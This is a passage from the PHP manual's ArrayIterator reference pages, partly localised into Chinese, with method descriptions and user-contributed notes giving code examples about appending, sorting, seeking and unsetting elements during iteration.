$iterator2 = new ArrayCallbackIterator($valueList, array($object, "callback_class_method"));
?>
foobuilder at gmail dot com 09-Dec-2010 11:01
Unsetting all keys of an ArrayItem within foreach will always leave the second key:

<?php
$items = new ArrayObject(range(0, 9));

while (list($k, $v) = each($items)) {
    unset($items[$k]);
}

print_r($items);

//  ArrayIterator Object
//  (
//      [storage:ArrayIterator:private] => Array
//          (
//              [1] => 1
//          )
//  )
?>

I'm not sure if this is a bug as unsetting keys within foreach is usually a bad idea to begin with (use while instead), but it's something to be aware of.
Sean Burlington 26-May-2009 05:15
and to iterate recursively use the (sparsely documented)  RecursiveArrayIterator

<?php

$fruits = array(
                "apple" => "yummy",
                "orange" => "ah ya, nice",
                "grape" => "wow, I love it!",
                 "plum" => "nah, not me"
                );

$veg = array("potato" => "chips", "carrot" => "soup");
$grocery = array($fruits, $veg);
$obj = new ArrayObject( $grocery );

$it = new RecursiveIteratorIterator( new RecursiveArrayIterator($grocery));

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

?>

Output
--------
apple:yummy
orange:ah ya, nice
grape:wow, I love it!
plum:nah, not me
potato:chips
carrot:soup
Venelin Vulkov 11-Nov-2008 03:44
Another fine Iterator from php . You can use it especially when you have to iterate over objects

<?php
$fruits = array(
    "apple" => "yummy",
    "orange" => "ah ya, nice",
    "grape" => "wow, I love it!",
    "plum" => "nah, not me"
);
$obj = new ArrayObject( $fruits );
$it = $obj->getIterator();

// How many items are we iterating over?

echo "Iterating over: " . $obj->count() . " values\n";

// Iterate over the values in the ArrayObject:
while( $it->valid() )
{
    echo $it->key() . "=" . $it->current() . "\n";
    $it->next();
}

// The good thing here is that it can be iterated with foreach loop

foreach ($it as $key=>$val)
echo $key.":".$val."\n";

/* Outputs something like */

Iterating over: 4 values
apple=yummy
orange=ah ya, nice
grape=wow, I love it!
plum=nah, not me

?>

Regards.


Append an element

  • ? ArrayIterator
  • ArrayIterator::asort ?
  • PHP Manual
  • ArrayIterator
  • Append an element

ArrayIterator::append

(PHP 5, PHP 7, PHP 8)

ArrayIterator::append — Append an element

说明

public ArrayIterator::append(mixed $value): void

Appends value as the last element.

Warning

本函数还未编写文档，仅有参数列表。

参数

value

The value to append.

返回值

没有返回值。

注释

Note:

This method cannot be called when the ArrayIterator refers to an object.

参见

  • ArrayIterator::next() - Move to next entry

User Contributed Notes

martin dot abbrent+php dot net at ufz dot de 02-May-2013 12:49
As ArrayIterator is not a real list the implementation of "append" is a little bit confusing me. When using "append" I expected the new value at the postion "last element index + 1". This will not happen when you unset elements before.
It seems like indexes once they're used are blacklisted end never used again, even if they're unset.
Like suggested in http://www.php.net/manual/de/arrayiterator.offsetset.php#106775 ArrayIterator::append uses ArrayIterator::offsetSet with empty index parameter. So I've this two workarounds to get "append" to work like I want:

<?php
class myArrayIterator extends ArrayIterator {

    public function offsetSet($offset, $value) {

        if (is_null($offset)) { // offset == null when it's called by ArrayIterator::append
            $offset = $this->generateOffset(); // do it in a separate method
        }
        parent::offsetSet($offset, $value); // call the native implementation with an index
        $this->ksort(); // sort it to avoid confusion when it gets dumped or iterated
    }

    protected function generateOffset() {

        $offset = count($this); // take count as offset as it should be lastKey+1
        while ($this->offsetExists($offset)) { // is it really empty?
            $offset++; // try the next one until there's an empty one
        }
        return $offset;
    }
}

class mySaveArrayIterator extends myArrayIterator {

    protected function generateOffset() {

        $offset = 0; // expect zero is the first possible key
        while ($this->offsetExists($offset)) { // try every key until there's an empty one
            $offset++;
        }
        return $offset;
    }
}

$data = array('foo', 'bar', 'baz');

$array       = new ArrayIterator($data);
$myArray     = new myArrayIterator($data);
$mySaveArray = new mySaveArrayIterator($data);

// remove the last element
$array      ->offsetUnset(2);
$myArray    ->offsetUnset(2);
$mySaveArray->offsetUnset(2);

// append an element
$array      ->append('foobar');
$myArray    ->append('foobar');
$mySaveArray->append('foobar');

// check the position of the new element
print_r($array);
print_r($myArray);
print_r($mySaveArray);

// remove some element
$array      ->offsetUnset(1);
$myArray    ->offsetUnset(1);
$mySaveArray->offsetUnset(1);

// again append an element
$array      ->append('foobarbaz');
$myArray    ->append('foobarbaz');
$mySaveArray->append('foobarbaz');

// check the position of the new element
print_r($array);
print_r($myArray);
print_r($mySaveArray);
?>

Output:

ArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [3] => foobar
        )

)
myArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [2] => foobar
        )

)
mySaveArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => bar
            [2] => foobar
        )

)
ArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [3] => foobar
            [4] => foobarbaz
        )

)
myArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [2] => foobar
            [3] => foobarbaz
        )

)
mySaveArrayIterator Object
(
    [storage:ArrayIterator:private] => Array
        (
            [0] => foo
            [1] => foobarbaz
            [2] => foobar
        )

)

This helped me to treat the ArrayIterator as a list with valid indexes in a serial manner.
lenye01 at gmail dot com 10-Feb-2011 08:11
we can append values after the given array,the index is begin from 0, for example:

<?php
$b = array('name'=>'mengzhi','age'=>'22','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
var_dump($a);
?>

then output:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }


Sort entries by values

  • ? ArrayIterator::append
  • ArrayIterator::__construct ?
  • PHP Manual
  • ArrayIterator
  • Sort entries by values

ArrayIterator::asort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::asort — Sort entries by values

说明

public ArrayIterator::asort(int $flags = SORT_REGULAR): true

Sorts entries by their values.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

参见

  • ArrayIterator::ksort() - Sort entries by keys
  • ArrayIterator::natcasesort() - Sort entries naturally, case insensitive
  • ArrayIterator::natsort() - Sort entries naturally
  • ArrayIterator::uasort() - Sort with a user-defined comparison function and maintain index association
  • ArrayIterator::uksort() - Sort by keys using a user-defined comparison function
  • asort() - 对数组进行升序排序并保持索引关系

User Contributed Notes

There are no user contributed notes for this page.


Construct an ArrayIterator

  • ? ArrayIterator::asort
  • ArrayIterator::count ?
  • PHP Manual
  • ArrayIterator
  • Construct an ArrayIterator

ArrayIterator::__construct

(PHP 5, PHP 7, PHP 8)

ArrayIterator::__construct — Construct an ArrayIterator

说明

public ArrayIterator::__construct(array|object $array = [], int $flags = 0)

Constructs an ArrayIterator object.

Warning

本函数还未编写文档，仅有参数列表。

参数

array

The array or object to be iterated on.

flags

Flags to control the behaviour of the ArrayIterator object. See ArrayIterator::setFlags().

参见

  • ArrayIterator::getArrayCopy() - Get array copy

User Contributed Notes

There are no user contributed notes for this page.


Count elements

  • ? ArrayIterator::__construct
  • ArrayIterator::current ?
  • PHP Manual
  • ArrayIterator
  • Count elements

ArrayIterator::count

(PHP 5, PHP 7, PHP 8)

ArrayIterator::count — Count elements

说明

public ArrayIterator::count(): int

Gets the number of elements in the array, or the number of public properties in the object.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The number of elements or public properties in the associated array or object, respectively.

参见

  • ArrayIterator::getFlags() - Get behavior flags

User Contributed Notes

There are no user contributed notes for this page.


Return current array entry

  • ? ArrayIterator::count
  • ArrayIterator::getArrayCopy ?
  • PHP Manual
  • ArrayIterator
  • Return current array entry

ArrayIterator::current

(PHP 5, PHP 7, PHP 8)

ArrayIterator::current — Return current array entry

说明

public ArrayIterator::current(): mixed

Get the current array entry.

参数

此函数没有参数。

返回值

The current array entry.

示例

Example #1 ArrayIterator::current() example

<?php
$array = array('1' => 'one',
'2' => 'two',
'3' => 'three');

$arrayobject = new ArrayObject($array);

for($iterator = $arrayobject->getIterator();
$iterator->valid();
$iterator->next()) {

echo $iterator->key() . ' => ' . $iterator->current() . "\n";
}
?>

以上示例会输出：

1 => one
2 => two
3 => three

User Contributed Notes

pcdinh at phpvietnam dot net 20-Mar-2006 05:47
ArrayIterator is only used for interating simple arrays of which the value part is not another array. You can test it with a more complex array like this:

$arr = array (
    \\\'Section 1\\\' => array (
        \\\'Cat 1\\\' => array (
            1 => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            2 => \\\'So 2\\\'
        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    ),

    \\\'Section 2\\\' => array (
        \\\'Cat 1\\\' => array (

        ),

        \\\'Cat 2\\\' => array (
            \\\'Sub-cat 1\\\' => array (
                1 => \\\'So 1\\\',
                2=> \\\'So 2\\\'
            ),
            \\\'Sub-cat 2\\\' => \\\'So 2\\\'
        )
    )
);

$arrayobject = new ArrayObject($arr);

for($iterator = $arrayobject->getIterator();
   $iterator->valid();
   $iterator->next()) {

   echo $iterator->key() . \\\' => \\\' . $iterator->current() . \\\"<br />\\\";
}

The above scriptlet will return

Section 1 => Array
Section 2 => Array

because it can not recursively iterate throught the array.

Do the following instead (in PHP5.1):

$arrayIterator = new RecursiveArrayIterator($arr);
$iterator = new RecursiveIteratorIterator($arrayIterator);
foreach ($iterator as $val) {
    echo $val.\\\'<br/>\\\';
}


Get array copy

  • ? ArrayIterator::current
  • ArrayIterator::getFlags ?
  • PHP Manual
  • ArrayIterator
  • Get array copy

ArrayIterator::getArrayCopy

(PHP 5, PHP 7, PHP 8)

ArrayIterator::getArrayCopy — Get array copy

说明

public ArrayIterator::getArrayCopy(): array

Get a copy of an array.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

A copy of the array, or array of public properties if ArrayIterator refers to an object.

参见

  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

irvine L 06-Jan-2018 05:12
Just in case some of you out there do NOT know this:

(a). 'getArrayCopy()', returns a copy of the ORIGINAL array - iterator object. Therefore, using (for example) 'LimitIterator' on an array-object, and then calling 'getArrayCopy' afterwards, might not return the current (adjusted) object.

(b). Instead, use the 'iterator_to_array' function, in order to access, or return, the current state of the array-object-iterator (whatever). Using the example above (in '(a)'); passing the 'LimitIterator' object into 'iterator_to_array', should return the CURRENT, and NOT ORIGINAL state of your array (iterator object).
lenye01 at gmail dot com 11-Feb-2011 02:20
the difference of this method and the direct assign the object to a value is as follows:

<?php
$b = array('name'=>'mengzhi','age'=>'12','city'=>'shanghai');
$a = new ArrayIterator($b);
$a->append(array('home'=>'china','work'=>'developer'));
$c = $a->getArrayCopy();
var_dump($a);
var_dump($c);
?>
result:
object(ArrayIterator)#1 (1) { ["storage":"ArrayIterator":private]=> array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } } }

array(4) { ["name"]=> string(7) "mengzhi" ["age"]=> string(2) "12" ["city"]=> string(8) "shanghai" [0]=> array(2) { ["home"]=> string(5) "china" ["work"]=> string(9) "developer" } }


Get behavior flags

  • ? ArrayIterator::getArrayCopy
  • ArrayIterator::key ?
  • PHP Manual
  • ArrayIterator
  • Get behavior flags

ArrayIterator::getFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayIterator::getFlags — Get behavior flags

说明

public ArrayIterator::getFlags(): int

Gets the behavior flags of the ArrayIterator. See the ArrayIterator::setFlags method for a list of the available flags.

参数

此函数没有参数。

返回值

Returns the behavior flags of the ArrayIterator.

参见

  • ArrayIterator::setFlags() - Set behaviour flags
  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

There are no user contributed notes for this page.


Return current array key

  • ? ArrayIterator::getFlags
  • ArrayIterator::ksort ?
  • PHP Manual
  • ArrayIterator
  • Return current array key

ArrayIterator::key

(PHP 5, PHP 7, PHP 8)

ArrayIterator::key — Return current array key

说明

public ArrayIterator::key(): string|int|null

This function returns the current array key

参数

此函数没有参数。

返回值

The current array key.

示例

Example #1 ArrayIterator::key() example

<?php
$array = array('key' => 'value');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

echo $iterator->key(); //key
?>

User Contributed Notes

There are no user contributed notes for this page.


Sort entries by keys

  • ? ArrayIterator::key
  • ArrayIterator::natcasesort ?
  • PHP Manual
  • ArrayIterator
  • Sort entries by keys

ArrayIterator::ksort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::ksort — Sort entries by keys

说明

public ArrayIterator::ksort(int $flags = SORT_REGULAR): true

Sorts entries by their keys.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

flags

可选的第二个参数 flags 可以用以下值改变排序的行为：

排序类型标记：

  • SORT_REGULAR - 正常比较单元 详细描述参见 比较运算符 章节
  • SORT_NUMERIC - 单元被作为数字来比较
  • SORT_STRING - 单元被作为字符串来比较
  • SORT_LOCALE_STRING - 根据当前的区域（locale）设置来把单元当作字符串比较，可以用 setlocale() 来改变。
  • SORT_NATURAL - 和 natsort() 类似对每个单元以"自然的顺序"对字符串进行排序。
  • SORT_FLAG_CASE - 能够与 SORT_STRING 或 SORT_NATURAL 合并（OR 位运算），不区分大小写排序字符串。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

参见

  • ArrayIterator::asort() - Sort entries by values
  • ArrayIterator::natcasesort() - Sort entries naturally, case insensitive
  • ArrayIterator::natsort() - Sort entries naturally
  • ArrayIterator::uasort() - Sort with a user-defined comparison function and maintain index association
  • ArrayIterator::uksort() - Sort by keys using a user-defined comparison function
  • ksort() - 对数组根据键名升序排序

User Contributed Notes

There are no user contributed notes for this page.


Sort entries naturally, case insensitive

  • ? ArrayIterator::ksort
  • ArrayIterator::natsort ?
  • PHP Manual
  • ArrayIterator
  • Sort entries naturally, case insensitive

ArrayIterator::natcasesort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::natcasesort — Sort entries naturally, case insensitive

说明

public ArrayIterator::natcasesort(): true

Sort the entries by values using a case insensitive "natural order" algorithm.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

此函数没有参数。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

参见

  • ArrayIterator::asort() - Sort entries by values
  • ArrayIterator::ksort() - Sort entries by keys
  • ArrayIterator::natsort() - Sort entries naturally
  • ArrayIterator::uasort() - Sort with a user-defined comparison function and maintain index association
  • ArrayIterator::uksort() - Sort by keys using a user-defined comparison function
  • natcasesort() - 用“自然排序”算法对数组进行不区分大小写字母的排序

User Contributed Notes

There are no user contributed notes for this page.


Sort entries naturally

  • ? ArrayIterator::natcasesort
  • ArrayIterator::next ?
  • PHP Manual
  • ArrayIterator
  • Sort entries naturally

ArrayIterator::natsort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::natsort — Sort entries naturally

说明

public ArrayIterator::natsort(): true

Sort the entries by values using a "natural order" algorithm.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

此函数没有参数。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

参见

  • ArrayIterator::asort() - Sort entries by values
  • ArrayIterator::ksort() - Sort entries by keys
  • ArrayIterator::natsort()
  • ArrayIterator::uasort() - Sort with a user-defined comparison function and maintain index association
  • ArrayIterator::uksort() - Sort by keys using a user-defined comparison function
  • natsort() - 用“自然排序”算法对数组排序

User Contributed Notes

There are no user contributed notes for this page.


Move to next entry

  • ? ArrayIterator::natsort
  • ArrayIterator::offsetExists ?
  • PHP Manual
  • ArrayIterator
  • Move to next entry

ArrayIterator::next

(PHP 5, PHP 7, PHP 8)

ArrayIterator::next — Move to next entry

说明

public ArrayIterator::next(): void

The iterator to the next entry.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 ArrayIterator::next() example

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';

$iterator = $arrayobject->getIterator();

while($iterator->valid()) {
echo $iterator->key() . ' => ' . $iterator->current() . "\n";

$iterator->next();
}
?>

以上示例会输出：

0 => zero
1 => one

User Contributed Notes

onelsonsenna at gmail dot com 06-Oct-2011 11:09
If you use exchangeArray method of ArrayObject and then next method of ArrayIterator like this:

<?php

    $fruits = array("apple", "grape", "lemon");

    $colors = array("blue", "yellow", "green");

    $arrayObject = new ArrayObject($fruits);

    $arrayIterator = $arrayObject->getIterator();

    while($arrayIterator->valid()) {

        if ($arrayIterator->current() == "grape") {
            $arrayObject->exchangeArray($colors);
        }

        $arrayIterator->next();
    }

?>

You will receive:

PHP Notice:  ArrayIterator::next(): Array was modified outside object and internal position is no longer valid

So be careful with next and prev operations. :)


Check if offset exists

  • ? ArrayIterator::next
  • ArrayIterator::offsetGet ?
  • PHP Manual
  • ArrayIterator
  • Check if offset exists

ArrayIterator::offsetExists

(PHP 5, PHP 7, PHP 8)

ArrayIterator::offsetExists — Check if offset exists

说明

public ArrayIterator::offsetExists(mixed $key): bool

Checks if the offset exists.

Warning

本函数还未编写文档，仅有参数列表。

参数

key

The offset being checked.

返回值

true if the offset exists, otherwise false

参见

  • ArrayIterator::valid() - Check whether array contains more entries

User Contributed Notes

There are no user contributed notes for this page.


Get value for an offset

  • ? ArrayIterator::offsetExists
  • ArrayIterator::offsetSet ?
  • PHP Manual
  • ArrayIterator
  • Get value for an offset

ArrayIterator::offsetGet

(PHP 5, PHP 7, PHP 8)

ArrayIterator::offsetGet — Get value for an offset

说明

public ArrayIterator::offsetGet(mixed $key): mixed

Gets the value from the provided offset.

Warning

本函数还未编写文档，仅有参数列表。

参数

key

The offset to get the value from.

返回值

The value at offset key.

参见

  • ArrayIterator::offsetSet() - Set value for an offset
  • ArrayIterator::offsetUnset() - Unset value for an offset

User Contributed Notes

There are no user contributed notes for this page.


Set value for an offset

  • ? ArrayIterator::offsetGet
  • ArrayIterator::offsetUnset ?
  • PHP Manual
  • ArrayIterator
  • Set value for an offset

ArrayIterator::offsetSet

(PHP 5, PHP 7, PHP 8)

ArrayIterator::offsetSet — Set value for an offset

说明

public ArrayIterator::offsetSet(mixed $key, mixed $value): void

Sets a value for a given offset.

Warning

本函数还未编写文档，仅有参数列表。

参数

key

The index to set for.

value

The new value to store at the index.

返回值

没有返回值。

参见

  • ArrayIterator::offsetGet() - Get value for an offset
  • ArrayIterator::offsetUnset() - Unset value for an offset

User Contributed Notes

shiranai7 at NOSPAM dot hotmail dot NOSPAM dot com 05-Dec-2011 12:52
The $index argument seems to be NULL for append operations, e.g.:

<?php

// example extension class
class Test extends ArrayIterator
{
    public function offsetSet($index, $newval)
    {
        echo 'Test::offsetSet('.var_export($index, true).', '.var_export($newval, true).")\n";
    }
}

// test
$i = new Test;
$i[] = 'append a value';

?>

The result is:

Test::offsetSet(NULL, 'append a value')


Unset value for an offset

  • ? ArrayIterator::offsetSet
  • ArrayIterator::rewind ?
  • PHP Manual
  • ArrayIterator
  • Unset value for an offset

ArrayIterator::offsetUnset

(PHP 5, PHP 7, PHP 8)

ArrayIterator::offsetUnset — Unset value for an offset

说明

public ArrayIterator::offsetUnset(mixed $key): void

Unsets a value for an offset.

If iteration is in progress, and ArrayIterator::offsetUnset() is used to unset the current index of iteration, the iteration position will be advanced to the next index. Since the iteration position is also advanced at the end of a foreach loop body, use of ArrayIterator::offsetUnset() inside a foreach loop may result in indices being skipped.

参数

key

The offset to unset.

返回值

没有返回值。

参见

  • ArrayIterator::offsetGet() - Get value for an offset
  • ArrayIterator::offsetSet() - Set value for an offset

User Contributed Notes

rkos... 14-Feb-2014 09:11
This is my solution for problem with offsetUnset
<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid();  )
{
    echo "#{$b->key()} - {$b->current()} - <br>\r\n";
    if($b->key()==0 || $b->key()==1){
        $b->offsetUnset( $b->key() );
    }else {
        $b->next();
    }
}

var_dump($b);
?>
olav at fwt dot no 07-Jul-2011 04:12
When unsetting elements as you go it will not remove the second index of the Array being worked on. Im not sure exactly why but there is some speculations that when calling unsetOffset(); it resets the pointer aswell.

<?php

$a = new ArrayObject( range( 0,9 ) );
$b = new ArrayIterator( $a );

for ( $b->rewind(); $b->valid(); $b->next() )
{
    echo "#{$b->key()} - {$b->current()} - \r\n";
    $b->offsetUnset( $b->key() );
}

?>

To avoid this bug you can call offsetUnset in the for loop

<?php
/*** ... ***/
for ( $b->rewind(); $b->valid(); $b->offsetUnset( $b->key() ) )
{
/*** ... ***/
?>

Or unset it directly in the ArrayObject
<?php
/*** ... ***/
    $a->offsetUnset( $b->key() );
/*** ... ***/
?>

which will produce correct results
Adil Baig @ AIdezigns 23-Jun-2011 11:23
Make sure you use this function to unset a value. You can't access this iterator's values as an array. Ex:

<?php
$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));

foreach($iterator as $key => $value)
{
    unset($iterator[$key]);
}
?>

Will return :

PHP Fatal error:  Cannot use object of type RecursiveIteratorIterator as array

offsetUnset works properly even when removing items from nested arrays.


Rewind array back to the start

  • ? ArrayIterator::offsetUnset
  • ArrayIterator::seek ?
  • PHP Manual
  • ArrayIterator
  • Rewind array back to the start

ArrayIterator::rewind

(PHP 5, PHP 7, PHP 8)

ArrayIterator::rewind — Rewind array back to the start

说明

public ArrayIterator::rewind(): void

This rewinds the iterator to the beginning.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 ArrayIterator::rewind() example

<?php
$arrayobject = new ArrayObject();

$arrayobject[] = 'zero';
$arrayobject[] = 'one';
$arrayobject[] = 'two';

$iterator = $arrayobject->getIterator();

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); //rewinding to the beginning
echo $iterator->key(); //0
?>

User Contributed Notes

There are no user contributed notes for this page.


Seek to position

  • ? ArrayIterator::rewind
  • ArrayIterator::serialize ?
  • PHP Manual
  • ArrayIterator
  • Seek to position

ArrayIterator::seek

(PHP 5, PHP 7, PHP 8)

ArrayIterator::seek — Seek to position

说明

public ArrayIterator::seek(int $offset): void
Warning

本函数还未编写文档，仅有参数列表。

参数

offset

The position to seek to.

返回值

没有返回值。

User Contributed Notes

foalford at gmail dot com 27-Apr-2016 02:20
<?php
//seek alter the iterator's internal indice instead of the value that key() returns.
//This is a big trap if combining with uasort/natsort function.

$a = new ArrayObject([4,3,2,1]);
$it = $a->getIterator();
$it->natsort();   //The Iterator preserve the key while sorting the array
$it->rewind();
$first = $it->key();   //The first element is  1 and it's key is 3
echo $first. PHP_EOL;  // 3

$it->next();
$second = $it->key();
echo $second. PHP_EOL; //2

$it->next();
$it->seek($first);             //Was intended to seek to element 1, key 3, indice 0
echo  $it->key() . PHP_EOL; //end up 0 because seek took parameter as indice instead of key. It seek to element indice 3, element 4 key 0.

var_dump($it);

/* Output:
3
2
0
object(ArrayIterator)#2 (1) {
  ["storage":"ArrayIterator":private]=>
  object(ArrayObject)#1 (1) {
    ["storage":"ArrayObject":private]=>
    array(4) {
      [3]=>
      int(1)
      [2]=>
      int(2)
      [1]=>
      int(3)
      [0]=>
      int(4)
    }
  }
}
*/
jon at ngsthings dot com 21-Oct-2008 05:08
<?php
// didn't see any code demos...here's one from an app I'm working on

$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);
$iterator = $arrayobject->getIterator();

if($iterator->valid()){
    $iterator->seek(1);            // expected: two, output: two
    echo $iterator->current();    // two
}

?>


Serialize

  • ? ArrayIterator::seek
  • ArrayIterator::setFlags ?
  • PHP Manual
  • ArrayIterator
  • Serialize

ArrayIterator::serialize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ArrayIterator::serialize — Serialize

说明

public ArrayIterator::serialize(): string

Serialize.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

The serialized ArrayIterator.

参见

  • ArrayIterator::unserialize() - Unserialize

User Contributed Notes

There are no user contributed notes for this page.


Set behaviour flags

  • ? ArrayIterator::serialize
  • ArrayIterator::uasort ?
  • PHP Manual
  • ArrayIterator
  • Set behaviour flags

ArrayIterator::setFlags

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ArrayIterator::setFlags — Set behaviour flags

说明

public ArrayIterator::setFlags(int $flags): void

Set the flags that change the behavior of the ArrayIterator.

参数

flags

The new ArrayIterator behavior. It takes on either a bitmask, or named constants. Using named constants is strongly encouraged to ensure compatibility for future versions.

The available behavior flags are listed below. The actual meanings of these flags are described in the predefined constants.

ArrayIterator behavior flags
value | constant
1 | ArrayIterator::STD_PROP_LIST
2 | ArrayIterator::ARRAY_AS_PROPS

返回值

没有返回值。

参见

  • ArrayIterator::getFlags() - Get behavior flags

User Contributed Notes

There are no user contributed notes for this page.


Sort with a user-defined comparison function and maintain index association

  • ? ArrayIterator::setFlags
  • ArrayIterator::uksort ?
  • PHP Manual
  • ArrayIterator
  • Sort with a user-defined comparison function and maintain index association

ArrayIterator::uasort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::uasort — Sort with a user-defined comparison function and maintain index association

说明

public ArrayIterator::uasort(callable $callback): true

This method sorts the elements such that indices maintain their correlation with the values they are associated with, using a user-defined comparison function.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

callback

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

参见

  • ArrayIterator::asort() - Sort entries by values
  • ArrayIterator::ksort() - Sort entries by keys
  • ArrayIterator::natcasesort() - Sort entries naturally, case insensitive
  • ArrayIterator::natsort() - Sort entries naturally
  • ArrayIterator::uksort() - Sort by keys using a user-defined comparison function
  • uasort() - 使用用户定义的比较函数对数组进行排序并保持索引关联

User Contributed Notes

There are no user contributed notes for this page.


Sort by keys using a user-defined comparison function

  • ? ArrayIterator::uasort
  • ArrayIterator::unserialize ?
  • PHP Manual
  • ArrayIterator
  • Sort by keys using a user-defined comparison function

ArrayIterator::uksort

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ArrayIterator::uksort — Sort by keys using a user-defined comparison function

说明

public ArrayIterator::uksort(callable $callback): true

This method sorts the elements by keys using a user-supplied comparison function.

Note:

如果两个成员完全相同，那么它们将保持原来的顺序。 在 PHP 8.0.0 之前，它们在排序数组中的相对顺序是未定义的。

参数

callback

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。

参见

  • ArrayIterator::asort() - Sort entries by values
  • ArrayIterator::ksort() - Sort entries by keys
  • ArrayIterator::natcasesort() - Sort entries naturally, case insensitive
  • ArrayIterator::natsort() - Sort entries naturally
  • ArrayIterator::uksort()
  • uksort() - 使用用户自定义的比较函数对数组中的键名进行排序

User Contributed Notes

There are no user contributed notes for this page.


Unserialize

  • ? ArrayIterator::uksort
  • ArrayIterator::valid ?
  • PHP Manual
  • ArrayIterator
  • Unserialize

ArrayIterator::unserialize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ArrayIterator::unserialize — Unserialize

说明

public ArrayIterator::unserialize(string $data): void

Unserialize.

Warning

本函数还未编写文档，仅有参数列表。

参数

data

The serialized ArrayIterator object to be unserialized.

返回值

没有返回值。

参见

  • ArrayIterator::serialize() - Serialize

User Contributed Notes

There are no user contributed notes for this page.


Check whether array contains more entries

  • ? ArrayIterator::unserialize
  • CachingIterator ?
  • PHP Manual
  • ArrayIterator
  • Check whether array contains more entries

ArrayIterator::valid

(PHP 5, PHP 7, PHP 8)

ArrayIterator::valid — Check whether array contains more entries

说明

public ArrayIterator::valid(): bool

Checks if the array contains any more entries.

参数

此函数没有参数。

返回值

Returns true if the iterator is valid, otherwise false

示例

Example #1 ArrayIterator::valid() example

